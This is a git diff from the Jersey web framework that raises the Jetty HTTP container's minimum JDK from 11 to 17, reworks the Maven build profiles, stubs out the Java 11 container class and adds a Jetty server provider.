diff --git a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/WebComponent.java b/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/WebComponent.java index 7ba0f51..f35c720 100644 --- a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/WebComponent.java +++ b/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/WebComponent.java
@@ -405,7 +405,7 @@ if (configSetStatusOverSendError) { servletResponse.reset(); - ServletContainer.setStatus(servletResponse, status.getStatusCode(), status.getReasonPhrase()); + servletResponse.setStatus(status.getStatusCode()); } else { servletResponse.sendError(status.getStatusCode(), status.getReasonPhrase()); } @@ -416,7 +416,7 @@ } /** - * Initialize {@code ContainerRequest} instance to used to handle {@code servletRequest}. + * Initialize {@code ContainerRequest} instance to handle {@code servletRequest}. */ private void initContainerRequest( final ContainerRequest requestContext,
diff --git a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/ResponseWriter.java b/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/ResponseWriter.java index c3c6c1f..6538a9e 100644 --- a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/ResponseWriter.java +++ b/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/ResponseWriter.java
@@ -37,7 +37,6 @@ import org.glassfish.jersey.server.ContainerResponse; import org.glassfish.jersey.server.internal.JerseyRequestTimeoutHandler; import org.glassfish.jersey.server.spi.ContainerResponseWriter; -import org.glassfish.jersey.servlet.ServletContainer; import org.glassfish.jersey.servlet.spi.AsyncContextDelegate; /** @@ -147,12 +146,7 @@ } } - final String reasonPhrase = responseContext.getStatusInfo().getReasonPhrase(); - if (reasonPhrase != null) { - ServletContainer.setStatus(response, responseContext.getStatus(), reasonPhrase); - } else { - response.setStatus(responseContext.getStatus()); - } + response.setStatus(responseContext.getStatus()); if (!responseContext.hasEntity()) { return null; @@ -222,7 +216,8 @@ final int statusCode = Response.Status.INTERNAL_SERVER_ERROR.getStatusCode(); if (configSetStatusOverSendError) { response.reset(); - ServletContainer.setStatus(response, statusCode, "Request failed."); + //noinspection deprecation + response.setStatus(statusCode); } else { response.sendError(statusCode, "Request failed."); }
diff --git a/containers/jersey-servlet/pom.xml b/containers/jersey-servlet/pom.xml index e47c6f2..5fe1ef0 100644 --- a/containers/jersey-servlet/pom.xml +++ b/containers/jersey-servlet/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.containers</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-container-servlet</artifactId> @@ -36,7 +36,7 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> + <version>${servlet6.version}</version> <scope>provided</scope> </dependency>
diff --git a/containers/jetty-http/pom.xml b/containers/jetty-http/pom.xml index ce0768d..670a8d2 100644 --- a/containers/jetty-http/pom.xml +++ b/containers/jetty-http/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <artifactId>project</artifactId> <groupId>org.glassfish.jersey.containers</groupId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-container-jetty-http</artifactId> @@ -32,6 +32,13 @@ <description>Jetty Http Container</description> + <properties> + <java11.build.outputDirectory>${project.basedir}/target</java11.build.outputDirectory> + <java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory> + <java17.build.outputDirectory>${project.basedir}/target17</java17.build.outputDirectory> + <java17.sourceDirectory>${project.basedir}/src/main/java17</java17.sourceDirectory> + </properties> + <dependencies> <dependency> <groupId>jakarta.inject</groupId> @@ -59,12 +66,11 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> <scope>provided</scope> </dependency> <dependency> <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-util</artifactId> + <artifactId>jetty-security</artifactId> <exclusions> <exclusion> <groupId>org.slf4j</groupId> @@ -119,83 +125,15 @@ </resources> </build> - <properties> - <java8.build.outputDirectory>${project.basedir}/target</java8.build.outputDirectory> - <java8.sourceDirectory>${project.basedir}/src/main/java8</java8.sourceDirectory> - <java11.build.outputDirectory>${project.basedir}/target11</java11.build.outputDirectory> - <java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory> - </properties> - <profiles> <profile> <id>JettyExclude</id> <activation> - <jdk>1.8</jdk> + <jdk>[11,17)</jdk> </activation> <properties> - <jetty.version>${jetty9.version}</jetty.version> + <jetty.version>${jetty11.version}</jetty.version> </properties> - <dependencies> - <dependency> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-client</artifactId> - <version>${jetty.version}</version> - <exclusions> - <exclusion> - <groupId>org.slf4j</groupId> - <artifactId>slf4j-api</artifactId> - </exclusion> - </exclusions> - </dependency> - <dependency> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-util</artifactId> - <version>${jetty.version}</version> - <exclusions> - <exclusion> - <groupId>org.slf4j</groupId> - <artifactId>slf4j-api</artifactId> - </exclusion> - </exclusions> - </dependency> - </dependencies> - <build> - <directory>${java8.build.outputDirectory}</directory> - <plugins> - <plugin> - <groupId>org.codehaus.mojo</groupId> - <artifactId>build-helper-maven-plugin</artifactId> - <executions> - <execution> - <phase>generate-sources</phase> - <goals> - <goal>add-source</goal> - </goals> - <configuration> - <sources> - <source>${java8.sourceDirectory}</source> - </sources> - </configuration> - </execution> - </executions> - </plugin> - <plugin> - <groupId>org.apache.maven.plugins</groupId> - <artifactId>maven-compiler-plugin</artifactId> - <configuration> - <testExcludes> - <testExclude>org/glassfish/jersey/jetty/*.java</testExclude> - </testExcludes> - </configuration> - </plugin> - </plugins> - </build> - </profile> - <profile> - <id>Jetty11</id> - <activation> - <jdk>[11,)</jdk> - </activation> <build> <directory>${java11.build.outputDirectory}</directory> <plugins> @@ -216,17 +154,54 @@ </execution> </executions> </plugin> + <plugin> + <groupId>org.apache.maven.plugins</groupId> + <artifactId>maven-compiler-plugin</artifactId> + <configuration> + <testExcludes> + <testExclude>org/glassfish/jersey/jetty/*.java</testExclude> + </testExcludes> + </configuration> + </plugin> </plugins> </build> </profile> <profile> - <id>copyJDK11FilesToMultiReleaseJar</id> + <id>JettyInclude</id> + <activation> + <jdk>[17,)</jdk> + </activation> + <build> + <directory>${java17.build.outputDirectory}</directory> + <plugins> + <plugin> + <groupId>org.codehaus.mojo</groupId> + <artifactId>build-helper-maven-plugin</artifactId> + <executions> + <execution> + <phase>generate-sources</phase> + <goals> + <goal>add-source</goal> + </goals> + <configuration> + <sources> + <source>${java17.sourceDirectory}</source> + </sources> + </configuration> + </execution> + </executions> + </plugin> + </plugins> + </build> + </profile> + <profile> + <id>copyJDK17FilesToMultiReleaseJar</id> <activation> <file> - <!-- ${java11.build.outputDirectory} does not work here --> - <exists>target11/classes/org/glassfish/jersey/jetty/JettyHttpContainer.class</exists> + <!-- ${java17.build.outputDirectory} does not work here --> + <exists>target17/classes/org/glassfish/jersey/jetty/JettyHttpContainer.class</exists> </file> - <jdk>1.8</jdk> + <jdk>[11,17)</jdk> </activation> <build> <plugins> @@ -247,16 +222,16 @@ <inherited>true</inherited> <executions> <execution> - <id>copy-jdk11-classes</id> + <id>copy-jdk17-classes</id> <phase>prepare-package</phase> <goals> <goal>copy-resources</goal> </goals> <configuration> - <outputDirectory>${java8.build.outputDirectory}/classes/META-INF/versions/11</outputDirectory> + <outputDirectory>${java11.build.outputDirectory}/classes/META-INF/versions/17</outputDirectory> <resources> <resource> - <directory>${java11.build.outputDirectory}/classes</directory> + <directory>${java17.build.outputDirectory}/classes</directory> </resource> </resources> </configuration> @@ -268,14 +243,14 @@ <artifactId>maven-antrun-plugin</artifactId> <executions> <execution> - <id>copy-jdk11-sources</id> + <id>copy-jdk17-sources</id> <phase>package</phase> <configuration> <target> - <property name="sources-jar" value="${java8.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/> + <property name="sources-jar" value="${java11.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/> <echo>sources-jar: ${sources-jar}</echo> <zip destfile="${sources-jar}" update="true"> - <zipfileset dir="${java11.sourceDirectory}" prefix="META-INF/versions/11"/> + <zipfileset dir="${java17.sourceDirectory}" prefix="META-INF/versions/17"/> </zip> </target> </configuration> @@ -289,4 +264,5 @@ </build> </profile> </profiles> + </project>
diff --git a/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerProvider.java b/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerProvider.java index 4b80825..2e8b5c5 100644 --- a/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerProvider.java +++ b/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerProvider.java
@@ -34,7 +34,7 @@ public static final String HANDLER_NAME = "org.eclipse.jetty.server.Handler"; @Override public <T> T createContainer(final Class<T> type, final Application application) throws ProcessingException { - if (JdkVersion.getJdkVersion().getMajor() < 11) { + if (JdkVersion.getJdkVersion().getMajor() < 17) { throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); } if (type != null && (HANDLER_NAME.equalsIgnoreCase(type.getCanonicalName()) || JettyHttpContainer.class == type)) { @@ -45,7 +45,7 @@ public <T> T createContainer(final Class<T> type, final Application application, Object parentContext) throws ProcessingException { - if (JdkVersion.getJdkVersion().getMajor() < 11) { + if (JdkVersion.getJdkVersion().getMajor() < 17) { throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); } if (type != null && (HANDLER_NAME.equalsIgnoreCase(type.getCanonicalName()) || JettyHttpContainer.class == type)) {
diff --git a/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServerProvider.java b/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServerProvider.java new file mode 100644 index 0000000..5022fee --- /dev/null +++ b/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServerProvider.java
@@ -0,0 +1,60 @@ +/* + * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2018 Markus KARG. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty; + +import jakarta.ws.rs.ProcessingException; +import jakarta.ws.rs.SeBootstrap; +import jakarta.ws.rs.core.Application; + +import org.glassfish.jersey.internal.util.JdkVersion; +import org.glassfish.jersey.jetty.internal.LocalizationMessages; +import org.glassfish.jersey.server.JerseySeBootstrapConfiguration; +import org.glassfish.jersey.server.spi.WebServer; +import org.glassfish.jersey.server.spi.WebServerProvider; + +/** + * Server provider for servers based on Jetty + * {@link org.eclipse.jetty.server.Server Server}. + * + * @author Markus KARG (markus@headcrashing.eu) + * @since 3.1.0 + */ +public final class JettyHttpServerProvider implements WebServerProvider { + + @Override + public <T extends WebServer> T createServer(final Class<T> type, final Application application, + final SeBootstrap.Configuration configuration) { + if (JdkVersion.getJdkVersion().getMajor() < 17) { + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); + } + return WebServerProvider.isSupportedWebServer(JettyHttpServer.class, type, configuration) + ? type.cast(new JettyHttpServer(application, JerseySeBootstrapConfiguration.from(configuration))) + : null; + } + + @Override + public <T extends WebServer> T createServer(final Class<T> type, final Class<? extends Application> applicationClass, + final SeBootstrap.Configuration configuration) { + if (JdkVersion.getJdkVersion().getMajor() < 17) { + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); + } + return WebServerProvider.isSupportedWebServer(JettyHttpServer.class, type, configuration) + ? type.cast(new JettyHttpServer(applicationClass, JerseySeBootstrapConfiguration.from(configuration))) + : null; + } +}
diff --git a/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpContainer.java b/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpContainer.java index 1fcc1b1..3d519b6 100644 --- a/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpContainer.java +++ b/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpContainer.java
@@ -16,455 +16,41 @@ package org.glassfish.jersey.jetty; -import java.io.IOException; -import java.io.OutputStream; -import java.lang.reflect.InvocationTargetException; -import java.lang.reflect.Method; -import java.lang.reflect.Type; -import java.net.URI; -import java.net.URISyntaxException; -import java.security.Principal; -import java.util.Enumeration; -import java.util.List; -import java.util.Map; -import java.util.concurrent.TimeUnit; -import java.util.logging.Level; -import java.util.logging.Logger; - -import jakarta.servlet.AsyncContext; -import jakarta.servlet.AsyncEvent; -import jakarta.servlet.AsyncListener; +import jakarta.ws.rs.ProcessingException; import jakarta.ws.rs.core.Application; -import jakarta.ws.rs.core.GenericType; -import jakarta.ws.rs.core.Response.Status; -import jakarta.ws.rs.core.SecurityContext; - -import jakarta.inject.Inject; -import jakarta.inject.Provider; -import jakarta.servlet.ServletException; -import jakarta.servlet.http.HttpServletRequest; -import jakarta.servlet.http.HttpServletResponse; - -import org.glassfish.jersey.internal.MapPropertiesDelegate; -import org.glassfish.jersey.internal.inject.AbstractBinder; -import org.glassfish.jersey.internal.inject.ReferencingFactory; -import org.glassfish.jersey.internal.util.ExtendedLogger; -import org.glassfish.jersey.internal.util.collection.Ref; +import org.eclipse.jetty.server.Handler; import org.glassfish.jersey.jetty.internal.LocalizationMessages; -import org.glassfish.jersey.process.internal.RequestScoped; import org.glassfish.jersey.server.ApplicationHandler; -import org.glassfish.jersey.server.ContainerException; -import org.glassfish.jersey.server.ContainerRequest; -import org.glassfish.jersey.server.ContainerResponse; import org.glassfish.jersey.server.ResourceConfig; -import org.glassfish.jersey.server.ServerProperties; -import org.glassfish.jersey.server.internal.ContainerUtils; import org.glassfish.jersey.server.spi.Container; -import org.glassfish.jersey.server.spi.ContainerResponseWriter; - -import org.eclipse.jetty.http.HttpStatus; -import org.eclipse.jetty.server.Request; -import org.eclipse.jetty.server.Response; -import org.eclipse.jetty.server.handler.AbstractHandler; /** - * Jersey {@code Container} implementation based on Jetty {@link org.eclipse.jetty.server.Handler}. + * Jersey {@code Container} implementation based on Jetty {@link Handler}. * * @author Arul Dhesiaseelan (aruld@acm.org) * @author Libor Kramolis * @author Marek Potociar */ -public final class JettyHttpContainer extends AbstractHandler implements Container { - - private static final ExtendedLogger LOGGER = - new ExtendedLogger(Logger.getLogger(JettyHttpContainer.class.getName()), Level.FINEST); - - private static final Type REQUEST_TYPE = (new GenericType<Ref<Request>>() {}).getType(); - private static final Type RESPONSE_TYPE = (new GenericType<Ref<Response>>() {}).getType(); - - private static final int INTERNAL_SERVER_ERROR = jakarta.ws.rs.core.Response.Status.INTERNAL_SERVER_ERROR.getStatusCode(); - private static final jakarta.ws.rs.core.Response.Status BAD_REQUEST_STATUS = jakarta.ws.rs.core.Response.Status.BAD_REQUEST; - - /** - * Cached value of configuration property - * {@link org.glassfish.jersey.server.ServerProperties#RESPONSE_SET_STATUS_OVER_SEND_ERROR}. - * If {@code true} method {@link HttpServletResponse#setStatus} is used over {@link HttpServletResponse#sendError}. - */ - private boolean configSetStatusOverSendError; - - /** - * Referencing factory for Jetty request. - */ - private static class JettyRequestReferencingFactory extends ReferencingFactory<Request> { - @Inject - public JettyRequestReferencingFactory(final Provider<Ref<Request>> referenceFactory) { - super(referenceFactory); - } - } - - /** - * Referencing factory for Jetty response. - */ - private static class JettyResponseReferencingFactory extends ReferencingFactory<Response> { - @Inject - public JettyResponseReferencingFactory(final Provider<Ref<Response>> referenceFactory) { - super(referenceFactory); - } - } - - /** - * An internal binder to enable Jetty HTTP container specific types injection. - * This binder allows to inject underlying Jetty HTTP request and response instances. - * Note that since Jetty {@code Request} class is not proxiable as it does not expose an empty constructor, - * the injection of Jetty request instance into singleton JAX-RS and Jersey providers is only supported via - * {@link jakarta.inject.Provider injection provider}. - */ - private static class JettyBinder extends AbstractBinder { - - @Override - protected void configure() { - bindFactory(JettyRequestReferencingFactory.class).to(Request.class) - .proxy(false).in(RequestScoped.class); - bindFactory(ReferencingFactory.<Request>referenceFactory()).to(new GenericType<Ref<Request>>() {}) - .in(RequestScoped.class); - - bindFactory(JettyResponseReferencingFactory.class).to(Response.class) - .proxy(false).in(RequestScoped.class); - bindFactory(ReferencingFactory.<Response>referenceFactory()).to(new GenericType<Ref<Response>>() {}) - .in(RequestScoped.class); - } - } - - private volatile ApplicationHandler appHandler; - - @Override - public void handle(final String target, final Request request, final HttpServletRequest httpServletRequest, - final HttpServletResponse httpServletResponse) throws IOException, ServletException { - - if (request.isHandled()) { - return; - } - - final Response response = request.getResponse(); - final ResponseWriter responseWriter = new ResponseWriter(request, response, configSetStatusOverSendError); - try { - LOGGER.debugLog("JettyHttpContainer.handle(...) started"); - final URI baseUri = getBaseUri(request); - final URI requestUri = getRequestUri(request, baseUri); - final ContainerRequest requestContext = new ContainerRequest( - baseUri, - requestUri, - request.getMethod(), - getSecurityContext(request), - new MapPropertiesDelegate(), - appHandler.getConfiguration()); - requestContext.setEntityStream(request.getInputStream()); - final Enumeration<String> headerNames = request.getHeaderNames(); - while (headerNames.hasMoreElements()) { - final String headerName = headerNames.nextElement(); - String headerValue = request.getHeader(headerName); - requestContext.headers(headerName, headerValue == null ? "" : headerValue); - } - requestContext.setWriter(responseWriter); - requestContext.setRequestScopedInitializer(injectionManager -> { - injectionManager.<Ref<Request>>getInstance(REQUEST_TYPE).set(request); - injectionManager.<Ref<Response>>getInstance(RESPONSE_TYPE).set(response); - }); - - // Mark the request as handled before generating the body of the response - request.setHandled(true); - appHandler.handle(requestContext); - } catch (URISyntaxException e) { - setResponseForInvalidUri(response, e); - } catch (final Exception ex) { - throw new RuntimeException(ex); - } - } - - private URI getRequestUri(final Request request, final URI baseUri) throws URISyntaxException { - final String serverAddress = getServerAddress(baseUri); - String uri = request.getRequestURI(); - - final String queryString = request.getQueryString(); - if (queryString != null) { - uri = uri + "?" + ContainerUtils.encodeUnsafeCharacters(queryString); - } - - return new URI(serverAddress + uri); - } - - private void setResponseForInvalidUri(final HttpServletResponse response, final Throwable throwable) throws IOException { - LOGGER.log(Level.FINER, "Error while processing request.", throwable); - - if (configSetStatusOverSendError) { - response.reset(); - //noinspection deprecation - response.setStatus(BAD_REQUEST_STATUS.getStatusCode(), BAD_REQUEST_STATUS.getReasonPhrase()); - } else { - response.sendError(BAD_REQUEST_STATUS.getStatusCode(), BAD_REQUEST_STATUS.getReasonPhrase()); - } - } - - private String getServerAddress(URI baseUri) { - String serverAddress = baseUri.toString(); - if (serverAddress.charAt(serverAddress.length() - 1) == '/') { - return serverAddress.substring(0, serverAddress.length() - 1); - } - return serverAddress; - } - - private SecurityContext getSecurityContext(final Request request) { - return new SecurityContext() { - - @Override - public boolean isUserInRole(final String role) { - return request.isUserInRole(role); - } - - @Override - public boolean isSecure() { - return request.isSecure(); - } - - @Override - public Principal getUserPrincipal() { - return request.getUserPrincipal(); - } - - @Override - public String getAuthenticationScheme() { - return request.getAuthType(); - } - }; - } - - - private URI getBaseUri(final Request request) throws URISyntaxException { - return new URI(request.getScheme(), null, request.getServerName(), - request.getServerPort(), getBasePath(request), null, null); - } - - private String getBasePath(final Request request) { - final String contextPath = request.getContextPath(); - - if (contextPath == null || contextPath.isEmpty()) { - return "/"; - } else if (contextPath.charAt(contextPath.length() - 1) != '/') { - return contextPath + "/"; - } else { - return contextPath; - } - } - - private static final class ResponseWriter implements ContainerResponseWriter { - - private final Response response; - private final AsyncContext context; - private final boolean configSetStatusOverSendError; - - ResponseWriter(final Request request, final Response response, final boolean configSetStatusOverSendError) { - this.response = response; - this.context = request.startAsync(); - this.configSetStatusOverSendError = configSetStatusOverSendError; - } - - @Override - public OutputStream writeResponseStatusAndHeaders(final long contentLength, final ContainerResponse context) - throws ContainerException { - - final jakarta.ws.rs.core.Response.StatusType statusInfo = context.getStatusInfo(); - - final int code = statusInfo.getStatusCode(); - final String reason = statusInfo.getReasonPhrase() == null - ? HttpStatus.getMessage(code) : statusInfo.getReasonPhrase(); - - response.setStatusWithReason(code, reason); - - if (contentLength != -1 && contentLength < Integer.MAX_VALUE) { - response.setContentLength((int) contentLength); - } - for (final Map.Entry<String, List<String>> e : context.getStringHeaders().entrySet()) { - for (final String value : e.getValue()) { - response.addHeader(e.getKey(), value); - } - } - - try { - return response.getOutputStream(); - } catch (final IOException ioe) { - throw new ContainerException("Error during writing out the response headers.", ioe); - } - } - - @Override - public boolean suspend(final long timeOut, final TimeUnit timeUnit, final TimeoutHandler timeoutHandler) { - try { - if (timeOut > 0) { - final long timeoutMillis = TimeUnit.MILLISECONDS.convert(timeOut, timeUnit); - context.setTimeout(timeoutMillis); - } - context.addListener(new AsyncListener() { - @Override - public void onComplete(AsyncEvent asyncEvent) throws IOException { - - } - - @Override - public void onTimeout(AsyncEvent asyncEvent) throws IOException { - if (timeoutHandler != null) { - timeoutHandler.onTimeout(ResponseWriter.this); - } - } - - @Override - public void onError(AsyncEvent asyncEvent) throws IOException { - - } - - @Override - public void onStartAsync(AsyncEvent asyncEvent) throws IOException { - - } - }); - return true; - } catch (final Exception ex) { - return false; - } - } - - @Override - public void setSuspendTimeout(final long timeOut, final TimeUnit timeUnit) throws IllegalStateException { - if (timeOut > 0) { - final long timeoutMillis = TimeUnit.MILLISECONDS.convert(timeOut, timeUnit); - context.setTimeout(timeoutMillis); - } - } - - @Override - public void commit() { - try { - closeOutput(response); - } catch (final IOException e) { - LOGGER.log(Level.WARNING, LocalizationMessages.UNABLE_TO_CLOSE_RESPONSE(), e); - } finally { - if (context.getRequest().isAsyncStarted()) { - context.complete(); - } - LOGGER.log(Level.FINEST, "commit() called"); - } - } - - private void closeOutput(Response response) throws IOException { - try { - response.completeOutput(); - } catch (final IOException e) { - throw e; - } catch (NoSuchMethodError e) { - // try older Jetty Response#closeOutput - try { - Method method = response.getClass().getMethod("closeOutput"); - method.invoke(response); - } catch (NoSuchMethodException | InvocationTargetException | IllegalAccessException ex) { - throw new IOException(ex); - } - } - } - - @Override - public void failure(final Throwable error) { - try { - if (!response.isCommitted()) { - try { - if (configSetStatusOverSendError) { - response.reset(); - //noinspection deprecation - response.setStatus(INTERNAL_SERVER_ERROR, "Request failed."); - } else { - response.sendError(INTERNAL_SERVER_ERROR, "Request failed."); - } - } catch (final IllegalStateException ex) { - // a race condition externally committing the response can still occur... - LOGGER.log(Level.FINER, "Unable to reset failed response.", ex); - } catch (final IOException ex) { - throw new ContainerException(LocalizationMessages.EXCEPTION_SENDING_ERROR_RESPONSE(INTERNAL_SERVER_ERROR, - "Request failed."), ex); - } - } - } finally { - LOGGER.log(Level.FINEST, "failure(...) called"); - commit(); - rethrow(error); - } - } - - @Override - public boolean enableResponseBuffering() { - return false; - } - - /** - * Rethrow the original exception as required by JAX-RS, 3.3.4. - * - * @param error throwable to be re-thrown - */ - private void rethrow(final Throwable error) { - if (error instanceof RuntimeException) { - throw (RuntimeException) error; - } else { - throw new ContainerException(error); - } - } - - } +public final class JettyHttpContainer implements Container { @Override public ResourceConfig getConfiguration() { - return appHandler.getConfiguration(); + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); } @Override public void reload() { - reload(new ResourceConfig(getConfiguration())); + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); } @Override public void reload(final ResourceConfig configuration) { - appHandler.onShutdown(this); - - appHandler = new ApplicationHandler(configuration.register(new JettyBinder())); - appHandler.onReload(this); - appHandler.onStartup(this); - cacheConfigSetStatusOverSendError(); + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); } @Override public ApplicationHandler getApplicationHandler() { - return appHandler; - } - - /** - * Inform this container that the server has been started. - * This method must be implicitly called after the server containing this container is started. - * - * @throws java.lang.Exception if a problem occurred during server startup. - */ - @Override - protected void doStart() throws Exception { - super.doStart(); - appHandler.onStartup(this); - } - - /** - * Inform this container that the server is being stopped. - * This method must be implicitly called before the server containing this container is stopped. - * - * @throws java.lang.Exception if a problem occurred during server shutdown. - */ - @Override - public void doStop() throws Exception { - super.doStop(); - appHandler.onShutdown(this); - appHandler = null; + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); } /** @@ -474,7 +60,7 @@ * @param parentContext DI provider specific context with application's registered bindings. */ JettyHttpContainer(final Application application, final Object parentContext) { - this.appHandler = new ApplicationHandler(application, new JettyBinder(), parentContext); + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); } /** @@ -483,18 +69,16 @@ * @param application JAX-RS / Jersey application to be deployed on Jetty HTTP container. */ JettyHttpContainer(final Application application) { - this.appHandler = new ApplicationHandler(application, new JettyBinder()); - - cacheConfigSetStatusOverSendError(); + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); } /** - * The method reads and caches value of configuration property - * {@link ServerProperties#RESPONSE_SET_STATUS_OVER_SEND_ERROR} for future purposes. + * Create a new Jetty HTTP container. + * + * @param applicationClass JAX-RS / Jersey class of application to be deployed on Jetty HTTP container. */ - private void cacheConfigSetStatusOverSendError() { - this.configSetStatusOverSendError = ServerProperties.getValue(getConfiguration().getProperties(), - ServerProperties.RESPONSE_SET_STATUS_OVER_SEND_ERROR, false, Boolean.class); + JettyHttpContainer(final Class<? extends Application> applicationClass) { + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); } }
diff --git a/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java b/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java index cb66f21..61e1977 100644 --- a/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java +++ b/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,35 +16,20 @@ package org.glassfish.jersey.jetty; -import java.net.URI; -import java.util.concurrent.ThreadFactory; - import jakarta.ws.rs.ProcessingException; -import jakarta.ws.rs.core.Configuration; - -import org.glassfish.jersey.innate.VirtualThreadUtil; -import org.glassfish.jersey.innate.virtual.LoomishExecutors; -import org.glassfish.jersey.internal.guava.ThreadFactoryBuilder; +import org.eclipse.jetty.server.Server; +import org.eclipse.jetty.util.ssl.SslContextFactory; import org.glassfish.jersey.jetty.internal.LocalizationMessages; -import org.glassfish.jersey.process.JerseyProcessingUncaughtExceptionHandler; import org.glassfish.jersey.server.ContainerFactory; import org.glassfish.jersey.server.ResourceConfig; import org.glassfish.jersey.server.spi.Container; -import org.eclipse.jetty.server.Connector; -import org.eclipse.jetty.server.HttpConfiguration; -import org.eclipse.jetty.server.HttpConnectionFactory; -import org.eclipse.jetty.server.SecureRequestCustomizer; -import org.eclipse.jetty.server.Server; -import org.eclipse.jetty.server.ServerConnector; -import org.eclipse.jetty.server.SslConnectionFactory; -import org.eclipse.jetty.util.ssl.SslContextFactory; -import org.eclipse.jetty.util.thread.QueuedThreadPool; +import java.net.URI; /** * Factory for creating and starting Jetty server handlers. This returns * a handle to the started server as {@link Server} instances, which allows - * the server to be stopped by invoking the {@link org.eclipse.jetty.server.Server#stop()} method. + * the server to be stopped by invoking the {@link Server#stop()} method. * <p/> * To start the server in HTTPS mode an {@link SslContextFactory} can be provided. * This will be used to decrypt and encrypt information sent over the @@ -94,7 +79,7 @@ * resource configuration. * <p/> * This implementation defers to the - * {@link org.glassfish.jersey.server.ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method + * {@link ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method * for creating an Container that manages the root resources. * * @param uri the URI to create the http server. The URI scheme must be @@ -120,7 +105,7 @@ * resource configuration. * <p/> * This implementation defers to the - * {@link org.glassfish.jersey.server.ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method + * {@link ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method * for creating an Container that manages the root resources. * * @param uri URI on which the Jersey web application will be deployed. Only first path segment will be @@ -199,7 +184,7 @@ * @param uri the URI to create the http server. The URI scheme must be * equal to {@code https}. The URI user information and host * are ignored. If the URI port is not present then port - * {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be + * {@value Container#DEFAULT_HTTPS_PORT} will be * used. The URI path, query and fragment components are ignored. * @param sslContextFactory this is the SSL context factory used to configure SSL connector * @param config the resource configuration. @@ -223,7 +208,7 @@ * @param uri the URI to create the 